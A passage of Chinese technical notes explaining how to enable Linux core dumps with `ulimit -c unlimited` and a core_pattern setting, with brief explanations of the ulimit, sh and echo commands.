1 2 3 4 5 6 ulimit -c unlimited # 解除core文件的大小限制 sudo sh -c 'echo "/tmp/core/core.%t" > /proc/sys/kernel/core_pattern' # 使用默认的shell执行 echo "/tmp/core.%t" > /proc/sys/kernel/core_pattern 命令 所以上述的命令是将/tmp/core.%t输出到/proc/sys/kernel/core_pattern文件中 而core_pattern文件的功能是: 其文件内容就是core文件的文件名
# 指令解析
## ulimit
ulimit命令用于限制用户的资源使用, 基本为两种形式:
* `ulimit <指定资源> <number>`: 对目标资源进行具体数量上的限制
* `ulimit <指定资源> unlimited`: 对目标资源不进行限制
资源参数:
* **-c: core文件的最大值, 单位为区块**
* -d: 数据段
* -m: 最大内存
* -s: 堆栈大小
* -t: CPU时间
* -v: 虚拟内存
## sh
调用默认shell并使用其语法和标志, 链接至/usr/bin/sh是默认的shell. (在我自己的环境中使用的是zsh)
## echo
将参数输出到目标文件中, 默认是标准输出.
[^3]: ## 确定payload偏移